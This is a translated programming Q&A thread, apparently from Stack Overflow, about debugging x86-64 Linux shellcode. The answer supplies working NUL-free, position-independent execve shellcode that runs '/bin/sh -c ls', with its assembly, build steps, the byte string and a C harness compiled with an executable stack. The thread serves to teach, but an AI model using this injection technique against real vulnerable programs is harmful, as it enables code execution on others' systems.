Shellcode: instrução ilegal

Oct 19 2020

Eu sou novo no desenvolvimento de shellcode e não consigo entender por que o shellcode gerado não funciona conforme o esperado.

Código Assembler:

Com base em uma resposta à minha pergunta anterior.

.section .data
cmd:    .string "/bin/sh"               /* command string */
hand:   .string "-c"                    /* command arguments string */
args:   .string "ls -al"                /* arguments string */
argv:   .quad cmd                       /* array of command, command arguments and arguments */
        .quad hand
        .quad args
        .quad 0

.section .text
.globl _start
_start:
        movq    $59, %rax /* call execve system call */ leaq cmd(%rip), %rdi /* save command to rdi */ leaq argv(%rip), %rsi /* save args to rsi */ movq $0,             %rdx    /* save NULL to rdx */

        syscall                         /* make system call */

Código de teste C:

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";

int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

Resultado:

Illegal instruction

Detalhes: Kali Linux GNU / Linux i386 x86_64

Respostas

2 MichaelPetch Oct 19 2020 at 01:02

O problema com seu código é que a string de shell que você gerou não inclui nenhum dos dados. E os dados incluem ponteiros absolutos, portanto, não são independentes da posição, portanto, não funcionariam se você os movesse para .texte incluísse. Uma vez executado dentro de outro programa como você está fazendo no código C , o programa tentará encontrar dados que não existem e em locais fixos de memória que não se aplicam ao programa explorável que você está executando dentro.

Acho que você pode ter outro problema causando a instrução ilegal . Você não mostra como constrói seu programa C , mas me pergunto se ele é de 32 bits e seu shellcode é de 64 bits. Estou começando a pensar que seu programa C pode ter sido compilado como um programa de 32 bits e a instrução ilegal pode ser porque você não pode executar com segurança o código de 64 bits (o código do shell) em um programa de 32 bits. Por exemplo, a SYSCALLinstrução é um opcode inválido em um programa de 32 bits em CPUs não AMD. Isso é apenas um palpite na ausência de mais detalhes sobre como você compila / monta / vincula seu código de shell e seu programa C.


Você terá que gerar código independente de posição (PIC) para que possa ser executado em qualquer lugar, uma vez carregado na pilha. Seus dados deverão ser colocados dentro do segmento com o código. O código também deve evitar a geração do caractere NUL (0x00), pois isso encerraria prematuramente uma string se fornecida como entrada do usuário para um programa explorável real.

Uma versão do seu código que pode ser usada para esses fins pode ser semelhante a:

shellcode.s :

# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.

.section .text
.globl _start
_start:
    jmp overdata                 # Mix code and DATA in same segment

# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh"            # Program to run
name_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c"                 # Program argument
arg1_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls"                 # Program Argument
arg2_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code

overdata:
    xor  %eax, %eax              # RAX = 0

    # All references to the data before our code will use a negative offset from RIP
    # and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
    # in the code. We use RIP relative addressing so the code will be position
    # independent once loaded in memory.

    # Zero terminate each of the strings
    mov  %al, arg2_nul(%rip)     
    mov  %al, arg1_nul(%rip) 
    mov  %al, name_nul(%rip)

    lea  name(%rip), %rdi        # RDI = pointer to program name string

    push %rax                    # NULL terminate the program argument array
    leaq arg2(%rip), %rsi
    push %rsi                    # Push address of the 3rd program argument on stack
    lea  arg1(%rip), %rsi
    push %rsi                    # Push address of the 2nd program argument on stack
    push %rdi                    # Push address of the program name on stack as 1st arg
    mov  %rsp, %rsi              # RSI = Pointer to the program argument array

    mov  %rax, %rdx              # RDX = 0 = NULL envp parameter

    mov $59, %al                 # RAX = execve system call number

    syscall

Você pode gerar uma string de estilo C com:

as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin

O hexdumpcomando acima produziria:

\ xeb \ x0e \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ xff \ x2d \ x63 \ xff \ x6c \ x73 \ xff \ x31 \ xc0 \ x88 \ x05 \ xf7 \ xff \ xff \ xff \ x88 \ x05 \ xee \ xff \ xff \ xff \ x88 \ x05 \ xe5 \ xff \ xff \ xff \ x48 \ x8d \ x3d \ xd7 \ xff \ xff \ xff \ x50 \ x48 \ x8d \ x35 \ xda \ xff \ xff \ xff \ x56 \ x48 \ x8d \ x35 \ xcf \ xff \ xff \ xff \ x56 \ x57 \ x48 \ x89 \ xe6 \ x48 \ x89 \ xc2 \ xb0 \ x3b \ x0f \ x05

Você notará que não há \x00caracteres diferentes do seu código. Você pode usar essa string diretamente em um programa C como:

exploit.c :

int main(void)
{
    char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";

    int (*ret)() = (int(*)())shellcode;
    ret();

    return 0;
}

Isso deve ser compilado e vinculado a uma pilha executável:

gcc -zexecstack exploit.c -o exploit

strace ./exploitgeraria uma EXECVEchamada de sistema semelhante a:

execve ("/ bin / sh", ["/ bin / sh", "-c", "ls"], NULL) = 0


Nota : Eu, pessoalmente, construiria as strings de forma programática na pilha, semelhante ao código em outra resposta Stackoverflow que escrevi.